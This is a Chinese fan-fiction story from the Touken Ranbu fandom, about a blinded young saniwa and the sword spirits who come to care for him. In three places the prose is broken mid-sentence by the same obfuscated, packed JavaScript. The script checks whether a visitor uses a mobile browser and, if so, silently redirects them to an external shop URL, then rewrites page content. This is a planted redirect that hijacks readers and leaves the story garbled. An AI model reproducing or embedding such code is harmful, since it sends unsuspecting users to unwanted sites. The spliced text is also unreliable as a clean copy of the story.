《[刀乱]那座本丸没有被讨厌》 1. 被讨厌的那座本丸 一切的开始,是审神者在某天晚上不小心摔了一跤。 他正在做出行的准备,由于是打算悄悄出去的,天守阁二楼没有亮灯,房间里头漆黑一片。 谁知原本应该安安分分待在地上的笔筒不知为何掉到了地上,没注意时一脚踩上去,顿时天旋地转—— 耳边传来一声重物落地的闷响,后脑勺在桌角上狠狠磕了一下,审神者倒吸一口凉气,伸手在脑后摸了摸,摸到一手温热的鲜血。 “……” 伤口的钝痛袭来,审神者没有吭声,撑着旁边那张被他撞歪的桌子起来,打算找药箱自己处理一下伤口。三秒钟后,他再次踩到笔筒滑倒,并且倒霉地又撞到了那张桌子。 耳边传来物品翻倒的凌乱声响,意识消弭速度快得能以秒来计算。 幸运的是,这次他没能再爬起来。 * A017号本丸,天方才蒙蒙亮,预备出阵的刀剑男士已经集聚在时间转换装置所在的庭院前。 预备出阵的名单和时间已经在昨日由狐之助通知下来,接下来只要等待狐之助将微型时间转换装置送过来就好。偌大的长廊底下无人交谈,气氛紧绷冷淡,众人却好像对此习以为常,各据一方,安静地等待狐之助出现。 药研藤四郎坐在走廊边上擦拭本体,擦着擦着,手上的动作忽然一顿。他有点惊讶地抬起头,伸手去廊外晃了晃。 冰凉的雨丝拂面,无形间将走廊底下压抑的氛围吹开了一些。笑面青江从廊柱后头伸手去接,露在外头的一只金色眼瞳也稍稍睁大了一些:“这可真是……” “很少见呢。”一旁高大的青色神刀和缓地笑道,“主殿今天心情不好吗?” “休要胡言!”压切长谷部闻言眉头紧皱,立刻出声斥责,“主的灵力磅礴深厚,便是供养百余位付丧神也毫不费力,怎可能连本丸的天气都掌控不了?” “嘁……一副很了解的样子。”不动行光醉醺醺的声音不知道从哪个角落里冒出来,“明明连主人的脸都没见——唔、唔唔!!” 他脸色剧变,一只手从后方伸过来,不由分说地将他未说出口的话堵了回去。烛台切光忠手下用力捂嘴,脸上的笑容分毫不变,他看了看天守阁的方向,神态自若地扯开话题:“快要到出阵的时间了吧。狐之助今天很慢呢。” 笑面青江也点了点头。“这是狐之助第一次偷懒吧?明明还没到春天呢。” 药研:“式神不会有那种时候吧。” 不动行光:“放、唔——唔唔——” “工作时间竟然如此懈怠……将近侍的工作全部交给一只式神果然还是太勉强了。”压切长谷部面无表情道,他的语气之下压着一层难以察觉的焦躁,“如果是交给我的话……” 不动行光:“唔——唔唔!!” “不太可能呢,长谷部君。”笑面青江撑着脸,语气倒是一如既往的悠闲,“主人这三年以来从不曾露面,怎会允许付丧神担当近侍一职呢?” 走廊底下好不容易缓和些许的气氛一僵,重新陷入沉寂之中。 这座本丸的情况与正常本丸的情况有些不同。 原本是一座几乎满刀帐的本丸,在经历本丸坐标暴露的剧变之后支离破碎。前任审神者死亡,绝大多数刀剑在那一战中碎刀,余下的十三振因灵力耗尽沉睡,随后由现任审神者接手。 定契与修复过程在付丧神们沉睡之时进行,醒来以后审神者已经退居天守阁内,一切指令传达由狐之助进行。 既不锻刀,也不露面,与付丧神的交流更是为零。被环绕在中心的天守阁是本丸中最安静的区域,情况持续至今,已经快要到第四个年头了。 沉默之间,不动行光终于挣脱开了烛台切的束缚,手脚并用滚到柱子后头,余惊未定地抱住自己的小酒瓶。 “这不是很正常吗?”他有点不耐烦地说,“被迫要接手自己亲哥哥的本丸和部下,还是一群连主人都没护住的废刀,心里不喜也很正常吧?我们这样的刀,嗝……没准过几年就会被送还时政,然后……” 长谷部厉声呵斥道:“不动,给我适可而止!” 烛台切没说话,安静地整理自己沾上酒气的手套。 他靠在走廊的障子门边,阴雨天光线昏暗,只隐隐看见露在外面的那只金色眼瞳散发着幽幽光泽。虽然模糊,但那光泽绝不是温和的。长谷部的态度则更加直白,两束冰冷的视线几乎要把不动行光的身体扎穿了。 短刀打了个酒嗝,悻悻地不再多言。 主人多半不喜这座本丸之中的刀剑,是所有付丧神的共识。 他们由前代审神者亲手锻造,本丸成立之初到被时间溯行军攻破,总共存世八年。 前代审神者名为京彦,出身与时政关联密切的阴阳师家族。意外发生之后不久,时政在其书房找到许久以前书写的遗书一封,指明未来自身若有不测,希望由自己的亲弟弟清显继任这座本丸的审神者。 后来,时政的工作人员发现,那并不是什么遗书,而是一份具有强制性质的契约。 该契约在交到对方手中的那一刻已经开始运转,现任审神者不得不离开家,接手了这座灰败凋敝的破碎本丸。 前代死时不过三十三岁,身为他的亲弟弟,当主的年龄只会更年轻。 一身强悍的灵力,又是如此年龄,在刀剑们所诞生的乱世可称前途无量,未来能成一方大名也未可知。而年轻的主君通常都更愿意建立自己的势力,如今却只能被一纸契约束缚在这样的本丸之中,心有芥蒂实属正常。 至于兄弟关系……乱世之中,为争权夺利对至亲痛下杀手之事屡见不鲜,兄弟阋墙亦是司空见惯。 天守阁中的那位对自己哥哥留下来的付丧神疑心戒备至不愿露面,想必从前关系也并不和睦。 无论如何,这是一座被厌弃的本丸。 “嘛,嘛,冷静一点。”石切丸有点无奈地出声打圆场,“像这样安定平静的生活,其实是很难得的。况且从灵力能察觉出来,主殿并非心性险恶之人,只是性格有些冷淡。” 石切丸的话很中肯,人类的灵力性质一定程度上能呈现人的性格。 与前代京彦狂躁的灵力不同,现在这位主人的灵力很安静。 不急进、不争先。如同流淌不息的溪水,乍一看其实察觉不出来什么,等反应过来以后,它已经这么照常流淌了三个月、三年,极有可能还有未来的三十年。 “我觉得没什么不好。”药研头也不抬道,“指令很精确,效率也很高,时间定位的精度也分毫不差。托大将的福,即使只有我们十几振刀,出入高级战场也基本上是零伤亡,这不是很好吗?” 他终于擦完了刀,利落地归刀入鞘,在走廊边缘站起来,隔着雨幕看向天守阁的方向。 “不过狐之助确实很少迟到这么久,是出了什么事吗?” “狐之助?” 另一个声音在走廊另一侧响起来,加州清光的身影出现在拐角。他有点诧异地看了看走廊底下这一大群人,“狐之助昨晚出门去时政总部办事了,临走前留信,主人说今天不用出阵了。我叫不动帮忙转达来着……他忘了吗?” 众人齐刷刷地回头,饱含杀气的视线转向不动行光藏身的那个角落——当事人无知无觉,抱着酒瓶以一个诡异的姿势蜷缩着,已经睡着了。 长谷部额角青筋乱跳:“这家伙……!” 石切丸抬手劝架:“嘛、嘛,冷静一点……” 半晌,烛台切叹了口气。 他走上前去,一把提起不动行光的领子,把醉得人事不省的短刀提到肩上扛着。 “我先把不动带回去。狐之助不在的话,近侍的工作总是需要人去做的。……嘛,尽量不要惹主人生气才好。” 这份工作最终交给了极力争取的长谷部,烛台切将不动行光送回房间,换了身轻便的衣服,到厨房去查看情况。 本丸的当番每日轮换,今天负责厨房事务的是大俱利伽罗,打刀青年系着围裙,面无表情地忙活个不停——仔细一看脸非常黑,和锅里堪称黑暗料理的菜色如出一辙。 烛台切眉头抽动了两下,露出一个宽容的微笑。 “我来帮忙吧。”他熟练地取下一条围裙系上,靠去灶台边看了一眼,笑容差点裂了个缝,“……嗯,伽罗酱的手艺又有进步呢!这次能看得出来是萝卜了。” 大俱利伽罗扭头看了他一眼,明明表情毫无波动,但就是有一种“得救了”的既视感。 烛台切从他手里接过厨具,开始张罗今天本丸众人的早餐。 “不用出阵吗?” 破天荒的,大俱利伽罗主动开口问了一句。在这个一成不变的本丸中,这已是难得的变化。 “主人说今天休假。”烛台切笑眯眯地回道。 本丸里刀剑不多,远征部队还没归来,今天的厨务对烛台切来说十分轻松。 最也最需要花费心思的是审神者的那份,烛台切至今没摸清楚人类的口味偏好,回想起狐之助每日送来的空空如也的盘子,实在与他的灵力一样叫人琢磨不透。就连刀剑化身的付丧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385735|200235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神都会有口味偏好,身为人类却完全不挑食,实在有些奇怪。然而情况确实如此,就算轮到不擅厨艺的刀剑当番的日子结果也从来不变,很让刃怀疑人类是不是把不喜欢的部分都丢给狐之助吃了。 今天是个重要的机会,烛台切花了略长的时间,装点出一份十足精致的餐点——摸不清口味的话,就得在外观上多花心思。 长谷部环胸在厨房门口等待,站得笔直,身形一动不动。 大俱利伽罗终于察觉出来些许不对劲的地方。他问道:“狐之助呢?” “出差中。”烛台切笑着回答道,“今天主人的早餐由我和长谷部君一起去送。” 门外的长谷部闻言扭头,“谁说要和你一起去”的话飘到嘴边,又硬生生咽下去,将脸撇到一边。 ——默许的态度。 大俱利伽罗对他们之间的暗流涌动没有兴趣,点点头,摘下围裙,去院子里摇铃通知留在本丸的付丧神们开饭。烛台切单手端着餐盘,和长谷部一齐往天守阁的方向去。 灰发打刀的表情绷得很紧,烛台切看了他一眼,善意地提醒道:“长谷部君,表情放松一些比较好哦。万一吓到主人就不好了。” 长谷部愣了一下,脸上飞快闪过一丝不自然。 “我没紧张。”他生硬地回复,“近侍的工作我一人足够,你跟上来是想做什么?” “好歹我也是做饭的那个。”烛台切笑道,“若是连主人的脸都没见过、喜好也不了解,未免也太不称职了吧?” 长谷部看上去勉强接受了他的说法。 天守阁侧方的走廊底下,原本要出阵的三人组还没有解散,几振刀或坐或站,一齐目送往两人天守阁的方向走。 “……应该没关系吧?”药研难得有点忐忑。 石切丸:“有烛台切殿在,想必是没有问题的。” 笑面青江没有说话,他藏在宽大的廊柱后,沉默地望着天守阁的方向。 不论付丧神们如何忐忑,长谷部已经站在了天守阁一楼的楼梯前。他整理了一下领口与袖口,保证自己不会在主面前露出一丝一毫的懈怠之态,而后抬脚走上楼梯,一遍又一遍地在心中预演接下来的流程。 先向主做一次自我介绍,而后表明自己的来意,请求作为一天的近侍,为他处理一些力所能及的工作。 心中想得越多,表情越是不动声色的严肃。烛台切紧随其后,瞥了一眼灰发打刀——长谷部藤紫色的眼瞳视线极为锐利,乍一看甚至有些凶恶。 到二楼审神者居室的障子门前,烛台切伸手摇了摇门外悬挂的铃铛,声线压得略低,开口时语气温柔而不失恭敬:“冒昧打扰,还请见谅。主人,到早餐的时间了。请问您需要现在用餐吗?” 等待片刻,门内死寂一片,没有回应。 长谷部与烛台切对视一眼。灰发打刀深吸一口气,在审神者居室的障子门外跪坐下来,俯身拜下。 “擅自打扰,还请主恕罪。在下压切长谷部,听闻狐之助有要务处理,需要离开本丸几日,因此斗胆,自请在狐之助回来前承担您的近侍一职。虽是驽钝之躯,也想为主分忧……餐食会为您放在门外,若有事务,只需召唤我等即可!” 他谨慎地陈述来意,而后不再出声。烛台切同样沉默着。审神者的作息规律,从不曾耽误工作,现在一定是清醒着的。 门后也许会有回应,也许没有。可能是暴怒,可能是痛斥,可能是冷言冷语,可能是窒息的沉默。 无论是什么,付丧神都会照单全收。 然而,一直等到他狂乱的心跳平复下来,障子门内也没传来任何声音。长谷部迟疑地抬起头,试探性地又唤了一声:“……主?” 仍然没有回应。 长谷部的心提到嗓子眼,膝行几步上前,靠近障子门,试探性地伸出手——然后,毫无阻碍地触碰到了纸门。两人的神色俱是微微一变。 ……天守阁二楼的结界并没有开启。 这意味着,审神者并不像他的付丧神所猜测的那样,对他们持有戒备与疑心。 正当长谷部犹豫着要不要行僭越之举,直接将纸门拉开时,门后忽然传来些许响动。听着像是几不可闻的呼吸声,频率却很不对劲。 烛台切侧耳听了片刻,面上轻松的神色隐去。他当机立断,伸手拉开纸门——门后的景象让他面露惊愕之色,长谷部则是直接愣住了。 两位付丧神的思维宕机片刻,灰发打刀率先捡回理智,露出一个崩溃的神情。 “主啊——!!!!!!!” 2. 混乱 二楼的响动很快惊动了在楼下待机的同伴,半分钟后,药研藤四郎凭借极高的机动,第一个从窗口翻进来:“怎么了?!” “——大将!” “主人——!!” 天守阁一楼传来凌乱的脚步声,笑面青江首先冒头,加州清光紧随其后。石切丸是最后一个上来的,凭借身高优势一眼瞧见纸门内的情景——年轻的人类被长谷部搀扶着坐起来,久未打理的黑发凌乱地散在肩头,隐约可见其上凝结的暗色血块。 因为失血过多坐不稳,因此很快变成了双手撑着长谷部的手臂、垂头抵着手背才能勉强坐好的姿势。 烛台切正在为他检查伤口,似乎是不小心磕到了头,后颈、后领、连带着后背上的一大块衣物都已经被血浸透了。 独眼太刀顺着血迹一路往上排查,找到两条三指宽的、已经结了一层薄薄血痂的伤口。长谷部看得心惊胆颤,唯恐后脑上的这两条伤口能让主人魂归天外,正在痛心与悔恨之时,烛台切忽然停下动作,面露异色。 “……您刚刚说了什么吗?” 什么?! 长谷部慌乱地俯首凑近,人类轻轻喘了口气,又将方才的话又轻轻重复了一遍。 “抱……歉……”他的呼吸不太稳定,每说一个字都十分吃力,“好像……要……给你们、添……麻烦了……” 他的声音实在是太轻了,只有近前的烛台切和长谷部勉强分辨出来内容。独眼太刀的动作倏地顿住,脸上表情出现一瞬间断片似的空白。不待他低头掩饰,长谷部急切的声音已经响起:“主!您这是说的什么话?!什么麻不麻烦……” 灰发打刀的眉头死死皱着,恨不得以身代主受过。在这个空挡,烛台切已经收敛好了表情,起身将处理伤口的工作交给了药研藤四郎。 “先把大将带去里间,外面太乱了。”短刀冷静地下达指令,“加州帮忙去打点温水来,笑面去看看还有没有干净的床褥和衣物。石切丸留下来帮忙……” “主人刚刚说了什么……诶?啊,好!” 加州清光愣了一下,点点头匆忙下楼去了。 审神者被转移到还算整洁的里间,药研提着药箱过来为他包扎。由于石切丸在侧,伤口的疼痛有所减轻,人类靠在长谷部身上,因失血过多,再次陷入无知无觉的昏睡。 黑发短刀的动作很快,清理好伤口后仔细上药,雪白的绷带绕着人类的额头缠了一圈、打了个漂亮的结,随后剪断。 这期间无人出声,长谷部时时看看伤口,时时扫视室内,通过凌乱的地面、歪斜的矮桌、以及滚到墙角的那只木制笔筒,很快推测出了原委。 眼见长谷部死死瞪着那只笔筒,大有抽刀将其碎成齑粉的意图,石切丸出声安慰道:“伤口已经处理好了,别担心。” 长谷部立刻将视线转回人类身上,忧心忡忡道:“叫我怎么能不担心!主伤的可是脑袋……人类可是走路摔一跤都有可能意外死亡的生物啊!” 短刀将多出来的一截绷带缠好,对长谷部的担忧表示认同。 “只是些紧急处理。毕竟伤的是头部,等狐之助回来了,还是得去总部的检疗部看看。” 他埋头整理药箱,合上箱子的时候看了眼审神者苍白的侧脸,在心中估算一番大概年龄,很快有了结论。 之前猜得不错,大将确实很年轻——甚至有些太年轻了。 “十六岁,比预想中的还要年轻呢。”石切丸感叹道,“这样的年纪……” 这个年龄在人类里已经足够年轻,在付丧神里,更是连他们存世年份的零头都够不上。 大太刀目露柔和的怜悯之色,又伸手拍了拍人类的头顶,动作很轻。一道浅浅的光芒顺着手掌淌入审神者体内,眼见他微微皱着的眉头因此又松开了一些,大太刀收回手,微微一笑。 “这样估计就不会疼了。” “总之先观察看看。”药研藤四郎道,“长谷部,这里就拜托你了。” 长谷部死死盯着人类的脸:“这是自然!” 收好了药箱,几位付丧神陆陆续续走出里间。烛台切的神情看不出破绽,手臂上挽着人类被血染得一团乱的衣物,侧身关上障子门,余光瞥见摆在门边那份已经冷掉的精致餐点,回想起方才端着食物上来时是怎样一番心情,不禁有些愣神。 “和京彦大人完全不一样呢。” 背后忽然传来一个声音。 烛台切转头看向角落,青发的大胁差抱着手臂靠在墙角,似乎正在微笑。 “很青涩呢……我是说,做审神者。” “能是算一个新开始……吗?” 烛台切这样回答道,声音却低得像自言自语。他顺手将门边的餐盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385736|200235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端起来,临走前看了一眼窗外的朦朦雨幕。 淅淅沥沥,柔和的仿若云雾,容易让人想起春日的细雨。 春雨会洗去冰雪的挟压,这场雨是否也能洗去笼罩在这座本丸之中垂老将死的朽气呢? “走吧。”烛台切叹息一声,“接下来的一段日子,可能有得忙了。” 狐之助在傍晚时分回到本丸。 见天守阁内有付丧神进出,它吓得石化成了一座狐雕;听闻主人受伤,式神只觉得天都塌了,以快出残影的速度冲进天守阁,呜呜哭道:“清显大人——!!呜哇——清显大人!!都怪狐之助不好……狐之助离开太久了呜哇哇哇、呃——” 它悲愤自责的哭喊刚进行到了一半,就被一只带着手套的手捏住了嘴。眼前的世界开始旋转,狐之助被一只手提起来,和一双杀气腾腾的眼睛对视。 “主正在睡觉休养。”长谷部冷冷地威胁道,“胆敢吵醒他,压切了你做狐皮!” 狐之助被狠狠威慑到了,忙不迭地点头。确定它不会出声以后,长谷部将其提到外间,放在清理干净的地面上。 “现在能联系上政府吗?”长谷部问道,“主的伤势,还是去检疗部静养一番比较妥当。” 这原本是个十分简单的问题,岂料狐之助支支吾吾半天,没能回答。 眼见长谷部的眼神越来越冷,狐之助悲从中来,用爪子捂住脸,豁出去似的道:“清显大人无法离开这座本丸,这是前代送来那封契约中的内容!原本被困在本丸之中不能出去就已经很可怜了,在下一时疏忽,竟然让清显大人受了这么重的伤,脸还被各位大人看光了……呜呜呜……” 洞悉面容,知晓名字,无法离去。 前代的契约需要真名才能生效,而这也造成如今的现状——若真有那么一天,审神者距离被神隐、成为付丧神的灵力供应装置,只差一个姓氏。 “不会有那种可能。”长谷部说。 狐之助擦了一把眼睛边上湿漉漉的毛,茫然地抬起头。 “先不论这座本丸的家伙做不做得出那种事,就算真有那么一天——” 灰发打刀跪坐在它面前,神情严肃郑重,透着狐之助在无数振长谷部身上看见过的一往无前的执拗。 “以压切长谷部的一切起誓,哪怕是碎刀,也绝不会让我主受到一分一毫的伤害!” 3. 效忠 夜幕沉下,这座本丸陷入了沉睡。 真正睡着的有几刃犹未可知,继傍晚狐之助紧急去时政请来检疗部工作人员为审神者诊治之后,长谷部已经借主需要静养之名,拦下了四五波想上来探望主人的付丧神。 人类的情况似乎有些好转,因为失血过多脸色仍然有些苍白。 为了能及时发觉内间的情况,灰发打刀没有回自己的房间,而是从外间柜子里翻出一个蒲团,坐在门边为主守夜。 本丸的夜晚一如既往地安静,这份寂静一成不变,有时甚至显得有些冰冷。长谷部在这里待了整整三年,本以为自己已经习惯——也许是下雨的缘故,今夜的空气格外湿冷。 青年默默忍耐着,藤紫色的眼睛倒映着窗外些许朦胧的暗光,映衬出某种近似玻璃珠一般的冰冷质感。 而后,打刀青年悄无声息地将蒲团移近了一些。 隔着一道薄薄的门扇,人类虽然微弱、但算得上安稳的呼吸声依稀可闻。这像是某种有利于精神稳定的信号,灰发打刀安静地聆听,感觉脑海中无时无刻不在盘旋的、漆黑潮水一般的杂念,终于随着这呼吸声短暂平息。 傍晚时分,随着检疗部来的,还有另外一名陌生的人类。 其余人类称呼他为“直弥大人”,对他毕恭毕敬,似乎来头不小。覆着面符看不清楚长相,看身形大约有三十岁往上,工作人员为审神者诊疗时他全程在场,但从头到尾完全没有出声,似乎只是过来旁观。 唯有离开天守阁时,他在灰发打刀面前停下了脚步。 “……长谷部?” 灰发打刀听见他这样自言自语道。 “是——有何指教?” 长谷部皱着眉头回问,却见那人类的视线在他面上一扫而过,不太友善。 “你不是这座本丸的长谷部吧。是从哪里混进来的?” 长谷部心中泛起惊涛骇浪。然而对方只是点出问题,并不在意能否得到回答。他侧对着付丧神,压低声音警示道:“好好侍奉你的主人。” 不用你说,我原本就是这么打算的。 长谷部视线死死盯着地面,余光里人类的身影连带着工作人员凌乱的脚步声消失在转角。视野中的一切慢慢暗下来,墙壁、地面、纸门上的花纹,统统糅合成现在视野中那片死寂的昏暗。 打刀靠着门坐了一会,猛地惊醒过来。 不能再这么继续下去了。 他的视线扫过室内略微杂乱的陈设,回想起白天只是简略将其收整了一下,立刻找到了目标,撸起袖子点亮一盏小灯,吭哧吭哧地开始整理房间。 从物品的陈设方式与状态能琢磨出一二主人的性格,名为清显的人类显然很信奉“物尽其用”一理,房间内的陈设十分简朴,不到用坏了的程度绝不更换。 而坏掉的大多是笔架一类的小物件,被人类用一只其貌不扬的木箱妥帖地收好。 主是个念旧的人啊。长谷部盯着那只贴着“旧物”便签的木箱,眼神肉眼可见地柔和下来。 付丧神干劲十足地在外间整理了一个晚上,清显侧卧在被子里,无意识忍受着后脑传来的钝痛。 伤口带来的疼痛远比石切丸的灵力顽固,他皱着眉头,感觉意识被那疼痛拽得更沉、更深,很快掉入一片混乱之中。这两条伤口确实给他带来了不小的影响,清醒以后脑海里短暂的空白便是证明。 ……记忆似乎有些混乱。 昨天是……摔倒了……?自己现在在…… ……本丸。 他有些费力地回想着,一边撑着身体慢慢坐起来。 天真黑啊。现在还是深夜吗? 门口有些响动,纸门被人拉开了。一个忧心忡忡、又暗含希冀的声音在门边响起,来人小心翼翼地问道:“主!您醒了?!您的伤口感觉如何?可还有哪里不适吗?” ……付丧神。 兄长的……付丧神。 少年愣了一下,回想起意识模糊的时候将自己搀扶起来的那两双手。在这座小楼里悄无声息地缩了这么久,没想到最终还是惊扰到他们了。 但是……为什么? 清显皱着眉头回想片刻,始终没能想起摔倒之前发生的事。见他神色有异,长谷部以为人类的身体有哪里不适,心立刻提了起来:“主,可否让在下入内,为您检查伤口情况?” 人类向着声音传来的方向转头,然而这一抬头,让付丧神察觉出了更大的异常。 ——主的视线落点不对。 自己明明在门外,人类看的却是门边的墙壁。得到了入内许可,打刀付丧神轻手轻脚地走进去,跪坐在人类身边。他在心中默念一句“失礼了”,试探性地伸手在审神者面前晃了晃——清显有点僵硬地坐在原地,侧脸蒙在窗外淅沥的雨幕之中,对眼前这只僭越的手毫无反应。 仔细一看,那双灰绿色的眼睛比正常情况下黯淡不少。 ……主的眼睛出问题了?! 长谷部的心一瞬间沉到了谷底。 人类终于也发现了不对。这黑暗毫无破绽,连夜晚会有的一丝微光都没有。 他脸上闪过一丝无措,伸手按了按自己的眼球。黑暗没有消失,仍然如影随形地包围着他。 ……看不见了啊。 长谷部没有放过人类脸上的任何神情,看见那缕无措的瞬间,心头揪紧。 “您的眼睛是不是……”他顿了顿,转而坚定地出声安慰道,“不必担忧,这应当只是短暂的后遗症!我长谷部会让狐之助联系检疗部的人员前来为您医治,您的双目一定能够恢复如初!” 其实对于眼前的一片黑暗,清显还没有什么实感。但听见付丧神急切的语气,仿佛天都要塌下来了一般,不免觉得有些意外。 “谢谢。”他用有些忐忑的语气向付丧神道谢,“……长谷部。” 人类念出这个对他来说有些陌生的名字,察觉到对面竟然诡异地停顿了一下。再开口时,付丧神的声音有些飘忽:“… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385737|200235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …主实在不必道谢……” 清显微微一顿。 弄巧成拙了。他心想。一上来就直呼其名,这种毫无距离感的举动,果然会被讨厌吧。 对于付丧神来说,自己是兄长强行推上来的一位名不副实的主君。他自认并没有兄长那样驾驭众多神明的能力,因此每日照常提供灵力,兢兢业业完成审神者的所有工作,不求能融洽相处,只愿能提供些许助力,相安无事便可。 现在算是……搞砸了吧。 “其实……不用称呼我为主人也可以。” “我只是位平平无奇的人类,能力也并不出众……” 年轻的审神者静静坐着,表情非常平和。因为常年生活于狭窄的室内,他的肤色偏向不健康的惨白,额前、脑后缠着绷带,余下长发安静地垂在肩头,通体恰似一株即将枯死的植株。 人类的模样倒映在付丧神藤紫色的眼瞳之中。凝视片刻,如同被火星烫到一般,长谷部猛地直起身。 “主!” 被他严肃的语气感染,清显也不由正色,道:“怎么了?” “我乃压切长谷部,是您的刀,也只会是您一人之刀。既为主上之刀,此生只为您的意志而动!”打刀退后几步,郑重地俯身拜下。“此身已在您麾下,无论是研磨还是驱使,尽随我主心意。我会斩尽主的仇敌,就算折断,也会守护您到最后!” 清显愣了一下。理智上他理解了这番话的含义,感情上却有些迟钝,或者说是麻木。他俯下身,小心翼翼地摸索片刻,摸到一颗低垂的头颅。 长谷部的发质偏硬,如同他给人的感觉一样,执拗、严肃、雷厉风行。 清显尝试在心中想象他的模样,曾经在窗边悄悄看过的那些身影,与刀账上凝固的影像,人类并不能很好地将它们和刀剑的实体联系起来。 “你先起来……” 扶了扶,没有动。 这振名为长谷部的刀比他想象中的更加固执,人类亦不想让他的一片赤诚落空。或许是从这沉默之中察觉到了什么,正在僵持之际,长谷部忽然沉声道:“方才陈述的,只是臣下的意志。无论主接受与否,无论未来如何,臣下都会背负这份意志走下去,主不必忧虑任何其他!” “我压切长谷部会向您证明,我比任何刀剑都有资格站在您身边!” 清显呆呆地看着地面。或许是地面,或许也是打刀的方向。 在他漆黑一片的视野之外,灰发打刀维持着跪拜的姿势,悄悄将头抬起来了一点。主的衣物先前才更换过,领口有一枚小小的绳结,随着俯身的动作垂落在付丧神的眼前。 长谷部凝视着它,也在透过这枚绳结凝视面前身形瘦削的人类,眼底藏着一丝微不可察的眷恋。 “……我明白了。” 最终,人类这样回答道。 “以后的日子请多多指教,长谷部。” 假使将来有后悔的那一天,结果和代价就由我来承受吧。清显默默地想。 4. 两振近侍刀 清显的眼睛是头上伤口的后遗症,需要在本丸静养,以后或许有复明的可能。 “什么叫‘复明的可能’……”长谷部咬牙切齿地捣鼓石舂里头的药材,“庸材!还不如让我去自学医法,一定能将主的眼睛治好!” “哈哈,学医术的刀吗?可没有想象中那么容易啊。”石切丸爽朗地笑笑,“长谷部殿也不要总是生气。总是处在紧绷的氛围里,不利于主殿静养。” 长谷部愣了一下,立刻伸手抹了把脸,将恼怒的表情抹到脑后。 “……说起来,真是古老的疗法啊。”烛台切感叹道,“现世的时代一直在发展吧?原以为会用更摩登的手段,结果是这么几包药材啊。” 石切丸笑道:“草药生长于天地,其中说不定也含有灵力。总归是没有害处的。” 身后的走廊传来噔噔的奔跑声,烛台切回过头,见走廊尽头白头发的小短刀手里攥着一束花,飞快地朝这边跑来。 这座本丸的五虎退很少有这么活泼的时刻,也许是因为天气的原因——持续两天的大雨过后,本丸迎来一个灿烂的晴天。浅金色的阳光在柔软的花瓣中跳跃,小短刀攥着它奔跑,双眼被阳光照得亮晶晶的。 他停在长谷部面前,鼓起勇气将手里的花递了出去:“长、长谷部先生……!这是、这是我送给主人的礼物……” “退,不要跑那么快。” 有着水蓝色短发的太刀身影接着出现在走廊转角,一期一振穿着一身华丽的军礼服,视线追着自己的弟弟,神色有些无奈。 “哦呀,一期殿。远征回来了吗?” “圆满完成哦。” 浅金色头发的太刀髭切从走廊另一边迈出来,旁边跟着薄荷绿发色的弟弟膝丸。“这次带回来的物资很充足,若无敌情,接下来很长一段时间都不用远征了……阿尼甲,你在看什么?” 髭切正在眺望绿意盎然的庭院。 这座本丸经历过一次侵入战,那场战斗中,除了天守阁与部分生活区域,本丸的其他区域几乎都成了废墟。即使苏醒之初由现任审神者调配进行了一次简单的修缮,也不能改变这座战后本丸残损、陈旧的事实。 付丧神们早已习惯本丸凋敝的景色。而现在,记忆中就算是晴天也总是蒙着一层灰调的景色像是被一泼水洗净了一般,焕发出令人惊叹的活力与生机。 “树上的小鸟哦。”髭切笑眯眯道,“回来的时候就隐隐感觉到,有什么地方不一样了呢。有什么好事情发生了吗?” 膝丸皱着眉头看了看,道:“好像确实不太一样了。” 他将视线转向短刀,似乎才反应过来对方话里的意思,迟疑着问道:“‘给主人的礼物’……?” 一期一振已经走到了五虎退身侧,闻言,拢在弟弟肩膀上的手紧了紧:“主君……发生了什么吗?” “说来话长……”烛台切叹了口气,“总之,主人受伤了。伤口是小事,过几天就会愈合。” “——重要的是眼睛。”长谷部接着道,“主的双眼目前处于失明状态,记忆似乎也有些许混乱,需要好好静养。” 五虎退这才意识到,自己的礼物主人是看不见的。他呆了呆,正想将手收回去,掌心一空,长谷部已经接过了那束花。 “虽然看不见,装饰在瓶中也会有些香气。”灰发打刀点点头,“我会替你送到。” 五虎退看了看那束花,又看了看神情严肃的长谷部,脸上慢慢扬起一个欣喜的笑。 “谢谢您!长谷部先生!” “得去天守阁拜见主君呢。”一期一振微笑道,“顺便递送这次远征的任务报告。” 髭切兴致勃勃道:“我也……” “不可。”长谷部皱着眉头出言制止,“主的伤势需要静养,待到时机合适,自会允许你等拜见。” 一期一振微微一愣,歉然道:“是我考虑不周。” “退,我给你带了些礼物。要来拿吗?” 小短刀高高兴兴地点头,牵着哥哥的手离开了。髭切单手支着下巴,竖瞳饶有兴趣地盯着天守阁的方向,“那么,现在是谁在主身边呢?” 提到这个问题,长谷部的脸色一黑,显然是想起了自己现在为什么在这。 他瞪了一眼提问的刀,不情不愿地回答道:“笑面青江。” 